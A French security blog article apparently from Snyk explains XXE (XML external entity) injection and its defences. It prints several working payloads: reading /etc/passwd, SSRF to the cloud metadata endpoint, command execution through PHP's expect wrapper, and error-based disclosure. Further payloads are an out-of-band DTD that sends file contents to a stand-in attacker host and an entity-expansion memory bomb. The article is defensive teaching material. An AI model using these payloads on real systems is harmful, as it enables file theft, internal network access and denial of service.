Skip to main content

Comment détecter et corriger les vulnérabilités liées aux entités XML

Écrit par
Headshot of Michael Sherman

Michael Sherman

feature argument injection

7 septembre 2022

0 minutes de lecture

XML est un format texte lisible par l’humain, utilisé pour transporter et stocker des données structurées. Les balises et les structures de données sont définies par les utilisateurs dans des documents auto-descriptifs, analysables par tous les outils XML, ce qui offre aux développeurs un mécanisme hautement configurable pour représenter les données.

Pour compléter la syntaxe de base limitée de XML, un auteur peut définir la structure et le contenu autorisé des données d’un document à l’aide d’une définition de type de document (DTD). La DTD permet de définir les données valides d’un document et de les décrire à un seul endroit pour les réutiliser dans l’ensemble du document. Une entité générale est déclarée dans la DTD, puis référencée dans le corps du document en ajoutant une esperluette (&) devant son nom et un point-virgule (;) après.

Vous pouvez définir une entité dans le document :

<!ENTITY name "Taylor Gray">
...
<name>&name;</name>

Vous pouvez également déclarer une entité dans une source externe en indiquant un chemin de fichier ou une URL :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person SYSTEM "person.dtd">
<person>
  <name>&name;</name>
</person>

Le fichier person.dtd contient :

<!ENTITY name "Taylor Gray">

Associée à la syntaxe simple de XML et à l’uniformité de la plupart des analyseurs, cette fonctionnalité permet aux pirates de lancer relativement facilement une attaque appelée injection d’entité externe XML (XXE). Dans cet article, nous allons examiner de près les attaques XXE et découvrir comment les prévenir.

Pourquoi les attaques XXE représentent-elles un risque pour la sécurité ?

Les attaques par injection XXE permettent aux pirates d’exploiter les déclarations d’entités externes pour accéder à des fichiers ou à l’infrastructure du serveur ou du réseau ciblé. Il peut s’agir d’informations personnelles sensibles, de logique métier et d’identifiants.

Dans les cas les plus graves, les pirates peuvent lancer une falsification de requête côté serveur, qui leur permet d’usurper l’identité d’un serveur sur le réseau de leur cible et peut leur permettre d’exécuter du code à distance. Ils peuvent ainsi élever leurs privilèges, parcourir l’infrastructure de leur cible et attaquer d’autres composants non protégés — ou propager des attaques vers d’autres réseaux en faisant croire qu’elles proviennent de leur cible.

Récupération de données

La vulnérabilité par injection XXE la plus courante permet aux pirates d’amener un serveur à divulguer des données sensibles ou des fichiers dans une réponse HTTP. À elle seule, cette attaque donne à un pirate un accès en lecture seule aux données, mais elle peut révéler des informations utiles pour mener une attaque plus dommageable.

Par exemple, un pirate peut envoyer une charge utile à un serveur cible pour l’amener à afficher un fichier local contenant des mots de passe :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE staffInfo
[
<!ENTITY xxe SYSTEM "file:///etc/pâsswd">
]>
<staffInfo>
<username>&xxe;</username>
<email>email</email>
</staffInfo>

La mise en œuvre d’un protocole de chiffrement robuste est efficace pour empêcher la récupération de données, car elle rend les données stockées illisibles et inutilisables, même si un pirate parvient à infiltrer le serveur ciblé. En utilisant des algorithmes symétriques tels que l’Advanced Encryption Standard (AES) pour stocker et transférer des informations sensibles au format XML, vous définissez une clé de sécurité confidentielle qui servira à chiffrer et déchiffrer vos données.

En outre, désactiver la prise en charge par défaut des entités externes dans l’analyseur XML est une mesure efficace pour contrer ce type d’attaque.

Falsification de requête côté serveur

Un serveur vulnérable aux injections XXE permet à un pirate d’usurper l’identité du serveur et d’envoyer des requêtes à des ressources internes normalement invisibles depuis l’extérieur du réseau.

Lors d’une attaque par falsification de requête côté serveur (SSRF), un pirate injecte généralement une URL ou une adresse pointant vers le système de fichiers local du serveur vulnérable ou vers d’autres ressources à accès restreint — en particulier lorsque l’analyseur XML ne filtre pas correctement les entrées utilisateur. Il peut alors obtenir des identifiants et des privilèges d’administrateur sur le réseau ciblé :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE userInfo
[
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data">
]>
<userInfo>
<username>&xxe;</username>
<email>email</email>
</userInfo>

Si le pirate parvient à obtenir des privilèges d’administrateur, il peut usurper l’identité du serveur pour sonder le réseau ciblé à la recherche d’autres vulnérabilités. Il peut même réussir à exécuter du code à distance et à propager d’autres attaques.

Voici quelques mesures qui améliorent considérablement la résilience de votre application face à ce type d’attaque :

  1. Bloquez toutes les requêtes utilisateur non autorisées vers les ressources internes et les adresses confidentielles.

  2. Envisagez de mettre en place une liste de blocage complète regroupant les adresses et URL potentiellement malveillantes susceptibles de menacer votre infrastructure Web.

  3. Adoptez des outils d’analyse statique intelligents (comme Snyk Code) capables de rechercher les vulnérabilités et les failles de sécurité dans votre code.

Exécution de code à distance

Un pirate peut exploiter une injection XXE pour exécuter du code à distance (RCE) sur un serveur cible.

Par exemple, il peut cibler un site Web ou une application propulsé par PHP, sur lequel le plug-in Expect est activé, en déclarant une entité contenant le wrapper Expect afin d’exécuter des commandes à distance :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE userInfo
[
<!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<userInfo>
<username>&xxe;</username>
<email>email</email>
</userInfo>

Dans cet exemple, la commande ifconfig renvoie la configuration réseau du serveur lorsque l’analyseur XML évalue l’entité xxe.

Nous pouvons empêcher l’exécution de code à distance en désactivant de manière sélective les wrappers de protocole, comme l’extension Expect de PHP, sur nos sites Web ou dans nos applications Web.

Toutefois, même lorsqu’il est impossible d’obtenir une réponse directe du serveur, un pirate peut recourir à des méthodes XXE aveugles.

Attaques XXE aveugles

Dans certains cas, les analyseurs XML peuvent empêcher les déclarations d’entités dans le corps des documents XML. Un pirate peut contourner cette restriction en utilisant des entités paramètre, qui ne sont déclarées que dans la DTD ou comme valeur d’une autre entité. Une entité paramètre se déclare en faisant précéder son nom d’un signe pourcentage et d’un espace (%), puis se référence en ajoutant un signe pourcentage (%) devant son nom et un point-virgule (;) après.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo
[
<!ENTITY % xxe SYSTEM "http://evil-attacker.com"> %xxe; 
]>

Avec ce code, le serveur ciblé tentera d’envoyer la requête HTTP à l’URL du serveur du pirate. Ce dernier peut ainsi effectuer une recherche DNS sur le serveur ciblé à l’aide de cette attaque XXE aveugle.

Divulgation d’informations basée sur les erreurs

Notre serveur est vulnérable aux méthodes d’injection XXE aveugles si un pirate peut récupérer des données précieuses en examinant les messages d’erreur qu’il émet.

Par exemple, cette charge utile contraint notre serveur à divulguer le fichier /etc/pâsswd dans son message d’erreur :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo
[
<!ENTITY % badfile SYSTEM "file:///etc/pâsswd">
<!ENTITY % wrapper "<!ENTITY &#x25; induce SYSTEM 'file:///nosuchfileexists/%badfile'>">
%wrapper
%induce
]>

Cette charge utile définit trois entités paramètre : badfile, qui contient le contenu du fichier /etc/pâsswd ; wrapper, qui contient la déclaration dynamique d’une nouvelle entité paramètre appelée induce ; et l’entité induce, qui déclenche une recherche sur un chemin provoquant un message d’erreur.

Pour déclarer l’entité wrapper, le pirate déclare dynamiquement l’entité induce, qui contient un chemin valide mais inexistant, incluant la valeur du paramètre badfile. Ensuite, lorsque l’entité wrapper est référencée, la déclaration dynamique de l’entité induce est lancée.

Enfin, lorsque l’analyseur rencontre l’entité induce, il renvoie un message d’erreur indiquant à l’utilisateur que le fichier dont le nom correspond à la valeur de badfile n’existe pas dans le chemin nosuchfileexists. Comme badfile contient le contenu de etc/pâsswd, le pirate peut voir ces informations.

Un protocole robuste de gestion des erreurs peut réduire la vulnérabilité de notre application à la divulgation d’informations basée sur les erreurs. Il peut notamment limiter la longueur et la portée des messages d’erreur envoyés par le serveur au client. En utilisant un corps de message personnalisé et un code d’état HTTP, nous pouvons éviter les messages d’erreur détaillés générés automatiquement, qui fournissent gratuitement aux pirates des informations utiles à leurs reconnaissances.

Nous devons définir clairement les messages d’erreur pour les scénarios prévus, comme ceux correspondant à l’exception FileNotFound de notre serveur d’exemple. Nous devons également prévoir des messages d’erreur adaptés aux cas particuliers, ce qui nécessite généralement de tester notre code.

Exfiltration hors bande

Une attaque hors bande permet d’exfiltrer des données par un canal différent de celui utilisé pour envoyer l’attaque. Elle consiste généralement à amener le serveur ciblé à envoyer une requête à une adresse hébergeant une DTD externe malveillante contrôlée par le pirate.

Le pirate doit d’abord envoyer une charge utile compromise contenant le contenu d’une DTD malveillante, par exemple :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://evilattacker.com/corrupted.dtd"> 
%xxe;
]>

Le fichier corrupted.dtd hébergé sur le serveur du pirate contient :

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % badfile SYSTEM "file:///etc/pâsswd">
<!ENTITY % deval "<!ENTITY &#x25; revealinfo SYSTEM 'http://evilattacker.com/?x=%badfile;'>">
% deval;
% revealinfo ;

Lorsque l’entité revealinfo est exécutée, une requête HTTP est envoyée au serveur du pirate. La valeur de badfile est intégrée à la chaîne de requête.

Lorsque l’entité deval est référencée, la déclaration dynamique de l’entité revealinfo est lancée.

Autres vecteurs d’attaque

Parmi les autres vecteurs courants des attaques XXE, on trouve :

  • Les téléversements de fichiers, comme les fichiers .config

  • Les champs de saisie de texte, en particulier les champs HTML text et textarea, dont les règles de validation des entrées peuvent être limitées

  • Les technologies basées sur XML, comme les flux RSS et les API

  • Les fichiers basés sur XML, en particulier les formats courants comme les images SVG

Par exemple, un pirate peut téléverser un fichier SVG contenant un lien vers un document malveillant afin de lancer une attaque par bombe XML :

<svg width="128px" height="128px" xmlns="http://www.evilattacker.com/svg" xmlns:xlink="http://www.evilattacker.com/xlink" version="1.1">
 <text font-size="16" x="0" y="16">&a4;</text>
</svg>

La charge utile pourrait ressembler à ceci :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
 <!ELEMENT bin (#PCDATA)>
 <!ENTITY a0 "garbage">
 <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
 <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
 <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
 <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<bin>&a4;</bin>

L’analyseur repère plusieurs déclarations d’entités dans la DTD, mais ne les évalue pas immédiatement. Il lit ensuite le document et rencontre l’élément bin, qu’il appelle en développant l’entité a4. Pour cela, il doit développer les dix instances contenues de l’entité a3, ce qui l’oblige à développer les entités a2 qu’elles contiennent — jusqu’à a0.

La taille finale de l’élément bin après développement correspond au développement récursif de tous les éléments de l’entité a4. Dans une charge utile comportant dix niveaux ou plus d’entités imbriquées, le fichier obtenu peut atteindre plusieurs centaines de gigaoctets. Cela provoque généralement une erreur de mémoire insuffisante sur le serveur qui tente d’analyser le fichier SVG, et entraîne un déni de service pour nos utilisateurs.

La mise en place de limites automatiques de mémoire ou d’utilisation d’autres ressources pour le traitement des requêtes suffit à prévenir de nombreux types d’attaques par déni de service, qui visent généralement à saturer les capacités d’un serveur.

Bonnes pratiques de sécurité applicables à tous les cas

Désactiver la prise en charge des entités externes

Interdire les entités externes et les DTD définies par l’utilisateur suffit souvent à atténuer de nombreux types d’attaques par injection XXE. La plupart des outils proposent une commande simple pour y parvenir.

Utiliser un pare-feu pour applications Web (WAF)

Les pare-feu pour applications Web (WAF) sont très efficaces contre les attaques XXE en général : ils inspectent le trafic HTTP à la recherche de contenus potentiellement malveillants et appliquent des règles de filtrage pour protéger nos applications Web.

Mettre en œuvre une sécurité Zero Trust

La relation de confiance entre vos applications Web et les services externes ou tiers (comme les brokers de messages et les plateformes d’authentification des utilisateurs) peut être exploitée pour lancer une attaque SSRF contre votre infrastructure serveur. En outre, les services de votre réseau ne doivent pouvoir accéder qu’aux ressources nécessaires à leur bon fonctionnement.

Nous devons veiller à isoler correctement les journaux et les données sensibles, et mettre en place des processus rigoureux pour auditer régulièrement les privilèges d’accès de tous les utilisateurs, qu’ils soient humains ou programmatiques. Cela facilite également la gestion de la maintenance de la sécurité à long terme.

Toujours lancer des analyses automatisées et des tests de vulnérabilité XXE

Les analyses de vulnérabilités XXE automatisées permettent de détecter et de corriger les vulnérabilités de votre infrastructure avant qu’un pirate ne les exploite. Un système de détection complet et intelligent doit également proposer des recommandations pour renforcer davantage la sécurité du système.

Maintenir vos correctifs de sécurité à jour

Il est important que nos systèmes disposent des correctifs les plus récents fournis par des prestataires de sécurité de confiance. Ces correctifs peuvent inclure des mises à jour de pilotes de sécurité et des correctifs de protection contre les attaques par déni de service. Pour connaître les dernières vulnérabilités open source, nous vous recommandons d’utiliser Snyk Open Source, qui s’appuie sur la Snyk Vulnerability Database, exhaustive, précise et à jour.

Réduisez les risques grâce aux capacités de protection de Snyk

Les bibliothèques tierces présentent parfois des vulnérabilités exploitables, ce qui expose votre application aux attaques. Pour renforcer davantage ses défenses, nous vous conseillons d’utiliser Snyk OSS afin d’analyser chaque bibliothèque tierce intégrée à votre application.

Vous pouvez également tirer parti des fonctionnalités de Snyk Code pour détecter les failles de sécurité potentielles avant qu’elles ne soient exploitées.

En conclusion sur la sécurité XML

XML est un outil polyvalent et puissant pour le transport des données, d’autant plus qu’il permet d’utiliser dynamiquement des ressources externes liées. Toutefois, ces caractéristiques en font un outil prisé des acteurs malveillants. Pour prévenir et atténuer efficacement les risques associés, il est essentiel de comprendre les vulnérabilités potentielles qu’il peut introduire.

Des entrées utilisateur mal assainies, une gestion des erreurs trop détaillée et des privilèges d’accès mal configurés peuvent permettre aux attaquants de compromettre nos systèmes au moyen d’attaques par injection d’entités externes (XXE). Pour corriger efficacement ces vulnérabilités, validez et filtrez les entrées utilisateur et les fichiers téléversés. Dans la plupart des cas, il suffit de supprimer des fonctionnalités telles que le traitement des DTD externes ou les wrappers de protocole PHP.

Les messages d’erreur sont plus adaptés lorsqu’ils communiquent le moins d’informations possible à l’utilisateur. Par exemple, si une tentative de connexion échoue, il n’est pas nécessaire de préciser si le mot de passe ou le nom d’utilisateur est incorrect.

Vous pouvez également mettre en place des WAF et des protections contre les attaques par déni de service (DoS), ou faire appel à un fournisseur qui propose ces fonctionnalités. Et si un attaquant parvient à franchir vos défenses, il ne devrait trouver que des données chiffrées et un réseau de services fondé sur le modèle Zero Trust.

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis Capture The Flag en regardant à la demande notre atelier virtuel d’initiation.

Lire la suite

blog feature snyk container custom base recommendations
Blog

Découvrez Evo Agentic AppSec : une sécurité au rythme du développement de l’IA

Le développement piloté par l’IA dépasse les workflows de sécurité traditionnels. L’AppSec agentique de Snyk s’appuie sur des agents de sécurité pour détecter, corriger et vérifier les vulnérabilités en continu, tandis que les équipes définissent les exigences.

blog feature ai violet
Blog

VulnBump : les agents IA peuvent-ils corriger les dépendances vulnérables sans casser le build ?

VulnBump évalue des agents IA sur 307 mises à niveau de dépendances réelles. Une correction n’est comptabilisée que si la vulnérabilité disparaît et que la compilation et les tests restent au vert.

Blog

Les modèles de pointe ont trouvé les vulnérabilités. Seul l’attaquant a trouvé les chaînes d’exploitation.

L’analyse statique a détecté les failles, mais seuls des tests d’attaque en conditions réelles ont prouvé comment elles pouvaient être enchaînées pour provoquer des compromissions. Comparaison d’Evo COS, de Claude Security et de Claude Code Security.